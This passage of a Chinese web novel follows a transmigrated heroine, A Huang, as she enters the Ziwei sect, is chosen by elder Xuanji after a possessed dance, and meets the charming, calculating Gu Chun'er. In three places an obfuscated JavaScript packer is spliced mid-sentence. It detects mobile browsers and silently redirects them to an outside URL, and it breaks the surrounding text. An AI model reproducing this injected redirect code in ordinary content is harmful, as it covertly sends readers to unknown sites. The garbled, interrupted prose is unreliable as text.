在山脚下落脚,人来人往很是热闹,阿凰以为表兄妹俩要买生活用品,直到来到一处房屋前,独孤凤渊交了钱,她才知道,独孤槿要住在这里。 “阿槿不和我们去紫微派吗?” 独孤槿轻笑道:“我只是希望表哥有个人照应,硬要跟着来的,我就是表哥口中说的根骨不适合修仙,没有仙缘之人,即便进去也留不下来的,我此行只是想照料表哥,你没发现我们三个人只取了两颗魔丹吗?” 一时之间,阿凰心里说不清是什么情绪,难得认识一个朋友,就好像两个好朋友要一起升学了,另一个人却说,我不能和你去同一个学校了。 可是修仙这件事,确实是看天赋和缘分的,没有就是没有,强求不得,没办法的事,她也不敢确定自己能不能留下来。 与独孤槿分别之后,阿凰跟在独孤凤渊身后,一同进了紫微派的山门。 据说紫微派建立在此处,是为了镇压山腰的魔物森林,类似于在坟场上建学校吧……有一些高手为了证明实力也会独自进入闯荡,活着出来即为所有人认可的强者。 只有一条由掌门亲自开辟的安全通道,连接紫微派和山下,往来过客只能走这条路。 一路上阿凰都在感慨,好壮阔的地方,云雾间有仙鹤往来穿梭,仙气飘飘,说这就是仙界也不为过了。 一大片白墙金瓦的建筑十分壮观,看着这样的景色,能生活在这种环境里,哪怕只是打杂都受仙气熏陶。 有人御剑飞行经过,阿凰看着很羡慕。 一剑修背后悬了六把飞剑,手上做了个动作,那些剑就翻飞起来,十分潇洒。 阿凰眼睛都瞪大了,不禁小声“哇”了一下,感叹:“真帅啊……” 这激发了她的coser基因。要是前世她有这个能力,cos刀妹的玉剑传说还不是手拿把掐?曾经她出这一套的时候,背后背着亚克力板连接的六把木剑游场可费劲了。 感受到独孤凤渊转头看了自己一眼,她闭嘴了,老老实实跟上。 想起来此行的目的,是因为夜月姬非要她进入紫微派,她心里想的是能留在这里就行,有个地方修行就好,不奢求参加大比,至于被掌门点化,那是她这个资质的人该妄想的吗? “喂,夜月姬,我们到紫微派了。”阿凰在意识里呼唤,可对方没有反应。 那就让她歇着吧。 阿凰跟在独孤凤渊身后,一路上时不时有人看过来,她觉得就是在看自己脸上的胎记,她越来越觉得周围的人都在看着她。 早知道进来之前就买块面纱蒙面了。 要说完全不在意别人的目光,那是不可能的,她脸上的胎记这么明显,更容易被人注意到了,女孩子都是爱美的,更别提以前的她长得还不赖,这落差让她心里有些难受。 来到太极广场上,不少人在往这边走,地上是八卦阵的图案,中心摆了张石桌,有一男子身着锦服盘坐,看起来就是大师的气派,左右两边各站着一男一女,应该是他的弟子。 好像某种意义上的新生报到处。 人们叽叽喳喳围在石桌边,阿凰也跟在独孤凤渊身后等着排队,探出头去看是什么流程。 无一例外都是先交出魔丹,由锦服大师左右的弟子检查后收下,再测试有没有实力留下。 一半以上的人都被筛选出去,来的人很多,最后留下来的人不多,阿凰有点紧张了。 很快就排到她这边,独孤凤渊在前头,他先上前去,把魔丹放在石桌上,桌面上刻了北斗七星的图案。 弟子检查魔丹的同时,原本闭目的大师缓缓睁开眼,细细打量着独孤凤渊,他抬手向大师作揖。 魔丹没问题,弟子掌心向上,手指着桌子上的竹筒:“请。” 独孤凤渊拿起竹筒,像摇骰子一样摇晃竹筒片刻,把竹筒口子倒扣在桌面上,拿开竹筒,三枚铜钱并排着,是同样的图案。 这是用来测试资质的铜钱,一面有图案一面没有,摇出一面图案证明勉强通过,两面图案是中等资质,而三面图案,是很少见的资质。 两名弟子不由得多看了独孤凤渊两眼,将铜钱收回去,他将转身离去时,一直浅笑着的大师忽然开口问:“你从何处来?” “凌霄宗。” 轮到阿凰了,她拿出魔丹,检查无误后拿起竹筒,怀揣着忐忑摇晃。 倒扣竹筒,三枚铜钱排开,是一面图案。 幸好幸好,虽然只有一面,好歹也是留下来了。 离开队伍,独孤凤渊在不远处站着,阿凰有些意外,他居然在等她? 直到她走到他面前,他还在望着人群,似乎在寻找什么。 “你在等朋友吗?” 他没回答,阿凰便也好奇地看着人群。 “明日在凌云台正式拜师。”独孤凤渊提醒道。 通过了测试就是记名弟子,虽然还没有正式拜师,也算是紫微派的一员,紫微派地界辽阔,专门辟出容纳记名弟子住的地方。 就像男女生宿舍。 阿凰和独孤凤渊在路口分别,他要去男生宿舍……紫竹轩,而她应该去另一边的梅香轩。 找好床位后,阿凰看着干净整洁的宿舍里已经住进来一些人,有不少人被她脸上的胎记吸引,她待着不适应,想着还是出去买面纱斗笠吧。 出门时,她还是听到了有人很小声地说:“她的脸怎么这样啊?” 紫微派山下一派繁华,可以说是应有尽有,阿凰买了面纱和帷幔,又买了一些必需品,更高级的东西需要灵石购买,她现在还没有。 回到紫微派,阿凰放好东西,才休息没多久就觉得浑身不自在,前世入学住宿也是这种感觉,在新环境里要融入集体生活就会容易想家,她有点坐立不安,干脆又出门乱逛了,反正紫微派这么大,她随便走走看看,一天也逛不完。 太极广场还是很热闹,阿凰觉得甚至比刚到的时候热闹好几倍。 队伍外一群人聚在一起,一个少女一身粉绿,打扮得像一朵绽放的荷花,她被一堆人围起来,叽叽喳喳的聊天,看起来是人群的话题中心。 阿凰想起前世,刚到新宿舍就和大家有说有笑的那些人,有的人适应陌生环境的速度很快,一到来就能和所有人打成一片,四处逢源,她一直很羡慕这样的人。 “纯纯,你的测试结果是什么?” 粉绿少女被提问,维持着笑容,一开口声音甜得跟蜜糖似的:“我的是两个图案。” “天呐,好羡慕,不愧是你。” “我就知道你行,一上来就是两个图案,哎……我们就不一样了,都是一个图案。” 少女安慰道:“别灰心呀,只要留下来了,以后有的是机会提升修为,我娘亲说了,来到这里的人都很厉害。” 阿凰原本只看了一眼,眼睛看着别处,耳边听到她们滔滔不绝的声音,又把视线转回那少女身上,一刹那,大脑里轰隆一声,她呆住不动了。 前世被人推下水的记忆又浮现眼前。 为什么她也在这里?不对不对,冷静一点。阿凰回想起独孤凤渊,心想,也许又是一个长得很像的人呢? 仔细观察,从神态举止上,那少女和她印象里的那个人判若两人,她只能自我安慰,世上人口千千万,有人长得像也正常,独孤凤渊不就是一个例子吗? 只是,她心中的不安还是无法彻底消散,前世的记忆好不容易随着时间的流逝渐渐淡忘,让她快忘了噩梦般的回忆,现在只是见了一个长得很像的人,她就又慌乱不安了。 努力平复心境,阿凰又被那边的动静吸引注意力。 旁边有人路过,一看到那个少女,惊喜地凑过去:“纯纯!你怎么也来了?” “欸?你也在这里?好巧哦!”少女甜甜地回应,看着围在自己身边的人群,“太好了,大家都在,以后就不怕无聊了。” 人缘真好啊,好像这里的人她都认识,活脱脱的社牛。阿凰感慨,声音这么甜的甜妹,她听了都觉得对方肯定是个很好的人,开始放松警惕了,第一印象真的很重要。 一个人如果很受欢迎,一定有突出的优点,很显然那少女的优点就是甜,这是阿凰对她的第一印象,这样的人能有什么坏心思呢? 只有留下好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126049|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一印象,别人才会进一步去了解你有趣的灵魂。 那少女虽相貌平平,但仅仅凭借她的声音,就足以在别人心里留下好印象。 阿凰转身想去别处逛逛,一扭头就看到独孤凤渊走过来,他肉眼可见的心情很好,嘴角都翘起来,眉眼间都是笑意,看得阿凰有点陌生了。 他是来找她的吗?是要下山买东西,还是待得无聊了也想出来逛逛? 直到独孤凤渊从她面前径直走过去,她才发现,他的目光一直没有放在她身上,他根本就没看到她。 她的视线跟着独孤凤渊走,他步下生风,很快就走到人群里,整个人的状态可以说是满面春风。 “纯儿姑娘,你也来了?” 阿凰有点看呆了,简直不敢相信,这还是独孤凤渊吗?他被夺舍了?前后反差都不像一个人了。 “独孤兄,你也在啊。”少女友好回应。 旁边有人疑惑道:“这不是凌霄宗的少主吗?原来你们早就认识了?” 少女笑道:“没有啦,两个月前我外出游玩遇险,幸好有独孤兄出手相救,就这么结下一面之缘了,没想到还能在这里碰面。” “有独孤少主在,竞争力更大了。”有人丧气道。 “不必拘谨,既然来了紫微派求学,今后大家都是同门,互相关照才是。”独孤凤渊变得很健谈,态度非常平和,“从今往后我们都是紫微派的弟子,师从同门,一视同仁,也不必那么生分唤我少主了。” 少女点点头:“既然独孤兄比我们先入门,就是师兄了,那我以后叫你一声师兄吧。” “好,那我就叫你纯儿师妹?” 说着,独孤凤渊拿出一只兔子灯:“我偶然看见摊子上在卖这些玩意儿,想起来纯儿师妹喜欢这些,擅作主张买来送你了。” 少女接过,惊喜道:“天呐,好可爱!我最喜欢可爱的东西了,独孤师兄有心了。” 他对独孤槿有这么好吗?这一路上阿凰没见过他给自己的表妹买过东西,她有点庆幸独孤槿不在,否则看到这一切兴许会难过的吧。 那边的两人交谈甚欢,人群都在围绕着那个少女展开话题,就好像npc遇到了主角,自动围绕她捧场,独孤凤渊也很上道,任何话题他都能快速加入,永远不冷场。 阿凰越看越觉得心凉,原来他也有这么幽默风趣的一面,这才是他真正的样子?还是说,只有遇到朋友他才健谈?在陌生人面前就社恐? 回想起独孤槿的话,阿凰觉得很合理。 不过,这也不是她一个npc该多想的。没错,在那个少女出场的一瞬间,所有人的注意力都在她身上,她就知道,这就是真正的主角,虽然没有人告诉她她穿书了,但是对比之下真的太明显了,有的人生而就是主角,也许这就是命吧。 渐渐的她也猜到了,那个少女就是之前独孤槿说的顾纯儿。 看着那边两人的互动,阿凰忽然觉得世界好空,好像她一个人被排在外面,故事里的人物在进行着自己的主线,而她,不知该去向何处,她没有被程序安排自己该做什么。 她只觉得心口好像堵了一团棉花,闷闷的,有点呼吸不上来了。 为什么觉得很酸涩,想哭出来呢?为什么会觉得落寞呢?这一切明明跟她没关系啊…… 人群聊得越来越开心,加入的人也多了起来,好像大家都认识那两个人,她耳朵里他们的声音那么明显,一个甜美纯真,一个温柔风趣。 她独自往梅香轩的方向走。 两个死夹子。阿凰在心里嘴硬地说,下一刻就为自己的心声愣住了,她怎么会冒出这种想法?一瞬间她觉得自己陌生得可怕。 回到梅香轩,阿凰卧在床上,脸埋在枕头里,别人小声说闲话她也顾不上听了。 好想家…… 虽然她没有真正的家,更没有家人,可是在那个世界里,她也有朋友的,那时她也是有人关心的。 心情平复得差不多了,困意袭来,阿凰趴着就要睡着,外头热闹起来,声音逐渐向屋子里靠近。 她继续装睡。 屋子里吵吵闹闹的,聊天的内容忽然转向她,就好像她们吵了这么久才发现有个人在睡觉。 “这位同门,你怎么了?”甜美的嗓音从身后冒出来,一只手拍了拍阿凰的肩膀。 6. 拜师大作战 阿凰本来有点不情愿理人,可晾着别人不好,继续装睡也不合理,都吵成这样了,傻子才信她睡着了。 “我没事。”阿凰出声回应,觉得这样有点冷漠,不太礼貌,又补充,“只是有点累了。” “那你好好休息哦。”少女说完退开。 众人对她印象更好了,一来就能注意到一个不起眼的人,还加以关心,真是人甜心善。 趴了一会儿,听着耳边的嘈杂声,阿凰反而平静下来,调整好状态,起身坐在床上发呆。 刚来的顾纯儿迅速和众人打成一片,不知为何,她就是有一出现就让所有人对她产生好感的能力,只是听着她甜美的声音,任何人都会对她软下心来。 她甚至不用怎么动手,旁人就主动帮她干活,凑上去与她交谈。 看着那张脸,阿凰的意识飘回从前。 前世,她从小就寄养在亲戚家,硬着头皮到处去蹭饭,有上顿没下顿,有时被嫌弃得太明显,小小的她就只能饿着肚子,蹲在路边发呆,小脸脏兮兮的。 上幼儿园时期,园里有个女孩十分凶悍,天天欺负同学,别的小女孩都被迫转走了,剩下的只有不怕她的男同学。 阿凰来了之后,园里只有她和那个小女孩两个女生,男孩们不怕凶悍的小女孩,她也和他们打成一片,可是对待阿凰还是和外敌一样,她怕麻烦伯父,怕被嫌弃被抛弃,自己默默忍受。 后来读初中又遇到那个女孩,她被孤立霸凌,阿凰鼓起勇气维护她,没想到有一天她加入霸凌队伍,反过来带头欺负阿凰。 长大后阿凰读大学渐渐淡忘一切,成了小网红,没想到被那个女孩刷到了,认出来是阿凰,十分嫉妒,用小号散布谣言,宣称要爆阿凰的黑料,阿凰尝试和她联系,最后不得已同意和她在河边见面,被对方威胁退网,并把收益都给她。 被她欺负了这么多年,在她面前软弱了这么多次,阿凰终于咬牙为自己做主,她不同意,想要报警,可对方这些年来一事无成,在当小混混,还被警察教育过,最怕这种事,当即恼羞成怒,两人争执起来,混乱中阿凰被对方推下河。 然后就穿越了。 所以,她第一眼看到顾纯儿,心中的惊讶和恐惧大于一切,好在这不是同一个人,顾纯儿明显只是个单纯外向的可爱女孩,而且那个人根本就没有顾纯儿这种甜美的嗓音。 明白了这个事实,她看顾纯儿就没有别的情绪了。 看着人群里的顾纯儿,阿凰想起独孤槿对她的评价。 确实是蜜糖一般的女孩,也符合妙音仙子的称号,名副其实。 可惜独孤槿不在,没机会亲眼一见,她那么好奇,对顾纯儿的评价很高,亲眼见到了一定很开心吧。 只不过有一点估计要让她失望了,妙音仙子并没有美若天仙的容貌。 也许正符合那句话吧,上帝给你关上一扇门的同时也会打开一扇窗,有得必有失,世事总有缺憾。 屋子里人来人往,听说清音门的妙音仙子来了,大家都过来凑热闹。 由于顾纯儿实在受人关注,在同一屋檐下,阿凰被迫听说了一些她的信息,比如说她背景强大,她父母一个是天之骄子,一个是绝世美女,天造地设的一对,女儿自然是备受宠爱,泡在蜜罐里长大的,所以一张嘴也跟蜜糖似的。 直到入夜休息,旁边的人还在和顾纯儿说小话,阿凰困得不行,又不好意思开口叫她们该睡觉了,毕竟她自己修为那么弱,需要经常吃饭睡觉,可是她们修为比她高,这方面没有那么频繁的需求。 翻来覆去许久,最后阿凰实在困得不行,再吵也睡得着了。 次日被吵醒,她缓缓清醒,突然想起来昨天独孤凤渊提醒过她,今天是正式拜师的日子,赶紧从床上爬起来了。 “这么热的天,别人都恨不得少穿点,你怎么穿得这么多?”离得最近的少女好奇地看着她。 阿凰身体底子差,生而寒骨冰肌,极其怕冷,虽然修习了一点法术,作用甚微,艳阳天身上的衣服都比别人多些。 她解释:“我身子不好,怕冷,这种天气我还觉得有点凉呢。” 那人了然地哦了一声,又问:“你的声音是着了风寒吗?” “小时候生了一场怪病,把嗓子咳坏了。”阿凰胡诌道。 之前她都自己呆着,加上大家注意力都在顾纯儿身上,没注意到她,此时因为话题在她身上,旁边有人才发现她,多看几眼。 “你的脸?” 这些年来阿凰听了无数次这样的疑问,可每次被问起,她表面上不在意,内心还是有点尴尬的。 “是胎记,打娘胎里来的。” 周围人的目光有同情有好奇,所以她才不想引人注目,因为毫不意外都是这样的情形,介意肯定是不行的,装作不介意又很尴尬,只能淡然处之。 发现阿凰其实很文静好说话,别的女孩也敢凑上来了:“你的头发好黑好直,肌肤好白啊,是用了什么仙诀保持吗?” “没有,我的灵力很弱的。”阿凰如实回答。 那一边,顾纯儿也好奇地看过来两眼,没把这一切放在心上,今天有更重要的事,可不能有差错。 人群乌泱泱地向同一个方向而去,阿凰跟着舍友们走,她不知道凌云台在哪里,跟着大部队走总没错。 她努力在人群中寻找独孤凤渊的身影,柔和的音色从身后传来:“纯儿师妹,你们这么早?刚才没看到你们,还以为你们不来了。” 顾纯儿还没说话,身旁的人先开口:“怎么可能?我们又不是傻的,好不容易留下来,干嘛不去拜师?” 她接上话茬打趣道:“就是,这个时辰刚刚好,独孤师兄姗姗来迟,我看是你起晚了吧?哦,原来独孤师兄也会懒床啊。” 独孤凤渊轻笑出声,听着是发自内心的开心,他说了什么阿凰已经听不见了,心里有一种说不上来的感觉,又羡慕又难受,可她脑子里也在控制不住想,怎么笑得这么好听啊? 不得不承认,他的声音是典型的网络男神音,要是在现代,不得迷死多少声控迷妹,起号如喝水一般轻松。 包括阿凰。 好吧,她自己也是一个声控。 这么好听的声音,谁不想听他多说几句话呢? 走着走着就有人加入聊天队伍,好像遍地都是独孤凤渊和顾纯儿的熟人。 他们有说有笑,看起来像是老朋友,阿凰默默让出位置,只需要盯着他们不跟丢就行了。 来到巨大的莲花平台下,众人登上石阶,底下云雾围绕,透过云雾间隙能看到下面是空的,莲花台漂浮在天上。 踏上莲花台,几位长老位于上座,有的鹤发白须,有的看起来跟十几岁的少年一样。 阿凰内心忐忑,看向旁边的顾纯儿,她眼中有着异样的兴奋,直直盯着长老那边,好像势在必得。 顾纯儿的另一边,独孤凤渊也看过来了,目光触及他的那一刻,阿凰做贼心虚似的迅速转头,装作若无其事。 中间的长老站起来,也是看起来年纪最大的:“修行拜师一事重在缘分,是师父与徒弟的双向选择,有可能你想拜入某位长老门下,但缘分未到,那位长老不选择你,也是没办法的,可另择他人。” 当然,最好的结果是师父主动挑选谁为自己的弟子,不但给了排面,也证明了徒弟的实力。 众人前后有序地上前,展示出自己的能力,阿凰看呆了,简直是卧虎藏龙。 前面的人走后就轮到她这里,阿凰紧张得不行,她在想自己那点吹笛子的术法入得了这帮大佬的眼吗? 她还没行动,顾纯儿先迫不及待地跑出去,径直站在某个长老面前,异常兴奋地抱拳道:“见过玄极长老!” 然后她一一向各位前辈行礼,介绍起自己来:“我叫顾纯儿,来自清音门,我擅长治疗术。” 闻言,那几位长老神色有异,却都不说话。 那位名为玄极的长老看起来跟阿凰是同龄人,板着一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126050|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,眉眼冷峭,不苟言笑,好似不食人间烟火。 顾纯儿一双眼睛亮晶晶地直视他,笑得那么明媚动人,他都不为所动,只是颔首示意。 真是行走的人形冰块啊…… 而周围人听到她声音的时候,都交头接耳起来。 “她的声音怎么这么好听啊?” “我还是第一次听到有人能发出这么甜美的声音。” 连女弟子也说:“光是听到她说话,我都觉得自己要喜欢上她了!” 这些话传到顾纯儿耳朵里,她心中窃喜,不过也早已习以为常,如预料之中,每到一个新环境里,不用她付出什么,大家自会对她产生好感,一切尽在掌握。 顾纯儿展示起她的本领来,她虽会剑术,也只是学了一些皮毛,她真正的拿手本领是治疗术。 只见一个受了重伤的人被抬过来,顾纯儿双手运起灵气,浅浅的光点包围住伤者,没多久伤者便痊愈了。 旁边的长老说了声不错,而顾纯儿仰头看着玄极,笑意几乎要溢出了,像一个等待夸奖的孩子。 玄极眸中毫无意外或惊喜的神色,好像一切都在他的意料之中,他一抬手,桌子上的玉牌飞向顾纯儿,这代表他收下这个徒弟了。 “多谢师父!”顾纯儿高高兴兴地又拜了一拜。 她回到人群,周围的人都为她高兴,好像比他们自己被录取了还要高兴,独孤凤渊言辞喜悦,为她庆贺之后上前去,也是瞧着玄极长老的方向。 难道这位长老很厉害吗?怎么都冲他去?女孩子们想拜入玄极门下的原因很好理解,他确实是天人般的长相与气度,令人难以移目,而独孤凤渊这样的人也去,多半是玄极确实很有本事。 “我叫独孤凤渊,来自凌霄宗。” 他没有按照惯例说出自己的看家本领,只是张开手掌,现出一团蓝色火焰。 “这是我的极寒玄火。” 周围的人窃窃私语,都盯着那团火焰,凌霄宗和极寒玄火的传闻在场的人都有所耳闻,几位长老面色凝重,不自觉探出身子往前细细查看。 就连玄极也认真起来,沉默良久,他缓缓启唇:“你为何而来紫微派,又为何要拜入本座之下?” 真是眼光毒辣,一眼就看出来独孤凤渊另有目的,不只是单纯的为了修行而来。 “本座先提醒你,修行之人需目的纯粹,若心有杂念,非旦紫微派留你不得,你也会自毁前程。” 他一眼就看出来独孤凤渊实力不在自己之下。 旁边的长老跃跃欲试,玄极若是不想收这个徒弟,他们可眼馋得很。 独孤凤渊只道:“多谢前辈教导,我发誓此生将会坚信自己的目标,没有人会嫌自己修为太强,不是吗?” 玄极沉默。 “今年的大会真是人才济济啊。”那位最年长的长老呵呵笑出声,打破了诡异的气氛。 最终玄极还是给了独孤凤渊玉牌。 看着独孤凤渊走回来,阿凰控制不住身体微微发抖。 “不许怯场,给我上。”意识里突然响起夜月姬的声音,一改往常懒洋洋的状态。 “上什么啊,上炕都费劲。” “信不过我?你先上去,今天我必叫你大放异彩。” 大放异彩?不是丢人丢到姥姥家就不错了。 没办法,阿凰只能硬着头皮上前去。 “我叫阿凰,四海为家,来到这里只是想好好活下去。”她觉得,诚实就是最好的武器,既然一无所有,那就拿出仅有的诚实吧。 她本就是烟嗓,平静的语气在嘈杂的环境中反而显得格外突出。 甚至有人看到她脸上的胎记露出嫌弃的表情。 还没来得及说出自己擅长的本事,阿凰忽然发现自己不受控制了。 “请乐师配合我。”她听到自己嘴里说。 接着,她的身体跟随乐曲翩翩起舞,身姿柔软灵活。 “天舞缭乱第一式——喜鹊登枝。” 7. 天舞缭乱 乐师配合着阿凰奏乐,她本就身段柔美,跳起舞来更发挥了身材优势,众人一时看得入迷。 此时阿凰腾空一跃一个大跳,双臂打开的同时两腿劈出空中一字马,腰身舒展开体现出胸腰曲线,脑袋上仰露出优美的天鹅颈,体态轻盈,小腿贴到了后脑勺,一个完美的倒踢紫金冠完成。 众人都看呆了,直到她轻松落地,他们才回过神异口同声地惊呼出来。 “天舞缭乱……”长老面色凝重,盯着阿凰眉头紧锁,不知道在想什么。 玄极神色如常,只是细看之下会发现他眸中略有不同,专注地看着阿凰的身影。 下方的顾纯儿原本也被舞姿吸引,视线扫到玄极,看他的样子好像也入迷了,她顿时没了欣赏的心思,脸上维持的笑容也变得有些牵强。 “需要告知掌门吗?”旁边有人问。 玄极道:“不必。” 一舞毕,乐声也到达尾声,阿凰收起动作,众人这才缓缓回过神。 唯一美中不足的是,她穿着太朴素了,这支舞若穿上华丽的衣衫,跳起来一定更好看,尤其是倒踢紫金冠时若甩起水袖,脚上舞鞋点缀珍珠或毛球,这一踢观赏性一定拉满了。 直到这时,阿凰才夺回了身体的掌控权。 夜月姬为了让她顺利拜师,控制她的躯体跳出那支舞,在此之前她只跳过一次,是遇到危险用来迷惑敌人的。 小时候阿凰被养父母送走,奄奄一息时被虚弱的夜月姬发现,因她体质特殊,夜月姬提出要和她交易,答应让她活下来,她便也同意让对方附身意识之中。 这支天舞缭乱就是夜月姬一点点教给她的,只是她修为不够,不能一口气领悟太多,不到必要时刻也不会跳出来,她也没太明白这支舞都有什么作用。 据说天舞缭乱的创作者是天庭掌管音律之神——师夷则,同时也是大名鼎鼎的孔雀公主,她从音律中发明了这一身法,点化天舞仙音楼时将之传授,希望将其发扬光大,可很少有人能领悟,就连天舞仙音楼圣女也只是略通皮毛。 夜月姬只告诉阿凰,天舞缭乱进可攻退可守,她至今尚未领悟,而刚才跳的也只是第一式,仅仅是天舞缭乱中的一小部分。 至于夜月姬从何得来,她并没有告诉阿凰,她从来没有和阿凰说过自己的一切。 阿凰的视线下意识在人群里寻找独孤凤渊的身影,看到他和众人一样看着自己时,她又心里一慌,装作若无其事地移开。 可同时她心里有点开心,她刚刚跳得不错吧?看不起她的那些人现在觉得如何呢? “你叫阿凰?”玄极看着她,开口问,“你这支舞是从何学来?” 阿凰在脑海里快速想了一遍理由,最后编出一个听起来好像还可以理解的:“曾有神女入梦中指点,醒来后就真的学会了。” 天舞缭乱本就是天神创作,这么说也没问题,原作者亲自降临托梦也不是没有可能,在这种魔幻的世界观里,发生这样的事又不是没有过。 “哟,说我是神女呢?”脑海里响起夜月姬的声音。 听了她的解释,众人并无质疑,不知是懒得细究还是真的信了。 “你可愿拜入本座门下?”玄极注视着她。 阿凰一时有点晃神,真是一张完美的脸,唯一的缺点就是没有表情吧,不知道这样的人笑起来是什么样子。 “愿意的,拜见师父!” 原本阿凰以为自己无缘参与这帮拥有主角命的人的故事,但是夜月姬非要她参加,引导她当众跳出天舞缭乱,她感觉那种npc感没那么重了,好像也不赖。 玉牌握在手里的时候,阿凰心里的喜悦还久久不能平静。 她走下去等候,顾纯儿主动凑过来和她说话:“原来你这么厉害,真是深藏不露。” 可她并没有要刻意隐藏实力的意思,要不是有夜月姬引导,她可能都没跳出来。 既然人家都主动夸奖,她也不能没礼貌,便说:“你也很厉害啊,轻易就能拜师了,刚才我很紧张,以为自己要当众丢人了,其实我也只会跳个舞。” 顾纯儿说:“你太谦虚啦,你可是第一个被师父主动选中的人,虽然我也不太了解,这天舞缭乱是什么啊?为什么大家看起来都很凝重?” “天舞缭乱就是司音天神传授与天舞仙音楼的一支舞,传言舞姿千变万化,可用于迷惑人心,攻击敌人,盛世中一舞便可倾城,只是难以领悟,世人都以为失传了。”独孤凤渊不知道什么时候站了过来。 闻言,顾纯儿很捧场地感叹:“独孤师兄真是知识渊博。” 被这么甜的声音夸赞,独孤凤渊看起来很是受用,两人你一言我一语地聊起来。 在这种时候,阿凰又下意识地想缩小自己的存在感,这也许就是npc的自我保护意识吧,以免被主角光环照死。 耳边顾纯儿的声音惊喜道:“咦?宋清希?他怎么也来了?” 顺着她的目光看去,阿凰看见一个扎着高马尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后玄极留下一句话:“明早卯时二刻在后山晨练,切莫迟到。” 终于静下来,阿凰待在自己的观画阁休息,这里以后就是她的新家了,终于有一块地方是属于自己的小天地。 忙了一天,她刚想躺下来休息一下,外头传来的声音让她一顿。 8. 被落下了 “阿凰,你在吗?”顾纯儿在外面探头探脑,试探着问。 门被打开,阿凰走出来,看到少女一个人站在那儿,穿着粉色的裙子,整个人打扮得像朵花儿一样,头上也带了蝴蝶发饰,阿凰发现她真的很喜欢粉色。 “顾……师妹,有什么事吗?” “你像他们一样叫我纯纯就好啦。”顾纯儿主动走上前,看了她身后的屋子一眼。 “好啊,纯纯。”阿凰让出路,“先进屋坐吧。” 好在这里配套齐全,阿凰不用自己去买东西,她正要倒茶,被顾纯儿拦下来:“你别忙活啦,都是自己人,不用这么客气,你把我当师妹对待就好了。” 在这些人面前,阿凰始终是有点自卑的,所以对待所有人都不免有些客客气气的,经顾纯儿这么一说,她想也是,都是一个师父座下的同门兄弟姐妹,至少在紫微派大家都是平等的。 对方态度平和,让阿凰放松了许多,越发觉得她性格很好,难怪所有人都喜欢她,只要交往下来,就算不喜欢上她也不会讨厌的吧。 “谢谢你,初来乍到人生地不熟,是我太紧张了。” “没事的,以后大家互相关照,很快就适应了。”顾纯儿说着顿了顿,“师父的弟子里,除了我,就只有你是女子,我也不擅长和男子交流,以后就只有我们两个女孩多多来往了,我娘亲说,女子本就应该互相帮助。” 阿凰仿佛得到了共鸣,她也不擅长和异□□流,适应新环境的过程有个人主动说话,尤其这个人还是个万人迷,她愿意主动伸出手,甚至给了阿凰一种对方低头向下兼容的感觉,好像自己得到了包容。 她激动地看着对方:“太好了,我还怕以后一个人不知道该怎么办呢,以后你有事也尽管和我说,能力范围内我都会尽力帮忙的。” 交谈中,阿凰发现顾纯儿的声音,或者说讲话方式像湾湾妹子,有时候会把“这样子”说成“酱紫”,连她一个女生听了都觉得有趣,何况是男子们,只会更觉得她可爱了。 没多久顾纯儿说要回去休息,临别前她心满意足地道别:“我走啦,不要忘了明天的晨练哦。” 出了门,顾纯儿脸上依然挂着微笑,这是她的习惯,她悠然自得地哼着小曲,好像心情很不错。 原本她对阿凰没什么特别的印象,为了给别人留下好印象,在见到她自己躺着的时候故意关心了一句,对她的印象也只是脸上长了巨大胎记声音很奇怪的女子。 直到阿凰众目睽睽之下跳出天舞缭乱,还被玄极特意关照,她才发现,这个人绝对不一般。 她当然知道天舞缭乱,只可惜没有套出阿凰的话,阿凰那套神女入梦的说辞可唬不了她。 抬头望着远处,顾纯儿很清楚那是玄极住的地方。 那位高岭之花般的长老是她心中最耀眼的存在。 她来到紫微派不仅仅是为了修行,主要目标是结交有实力有背景的人,甚至成为玄极徒弟也是爹爹亲自和玄极交代,只需要她本人过来就行。 娘亲教过她,修仙界众多佼佼者,她天生仙缘浅,资质上限决定她永远无法拥有很高的修为,所以她必须结交一切有望加入关系网的强者。 就连她摇竹筒摇到的中等资质,在紫微派也根本不够看,遍地都是这样的人。 没办法,弟弟不思进取,爹娘又不可能庇护她一辈子,她确实应该和有用的人打好关系,修行之路艰辛漫长,只希望身后永远不缺帮手。 一夜过去,阿凰睁开眼发现天色微亮,有一种不好的预感。 一问报时鸟,竟然要迟到了,她迅速穿好衣服,简单洗漱便跑出门。 可是看了一圈也没看到其他人,他们好像早就走了,她被落下了。 她不识路,只能硬着头皮自己走。 好不容易走进山里,四下望去鸟兽都没有,何况人影,而且,她好像迷路了。 脑袋一痛,阿凰抬头看去,以为是山上落下的小石子砸中了自己,却看到一个蓝衣女子拽着藤蔓荡来荡去,像成了精的野猴。 女子又丢了东西过来,这次阿凰用手接住了,原来不是石子,是一颗果子。 “你干嘛?” “来揍我啊。”女子一只手抓住藤蔓荡走,另一只手拍嘴巴,发出电视里野人挑衅的声音,更像野猴了。 阿凰觉得自己一定是太累了,出幻觉看到神经病了。 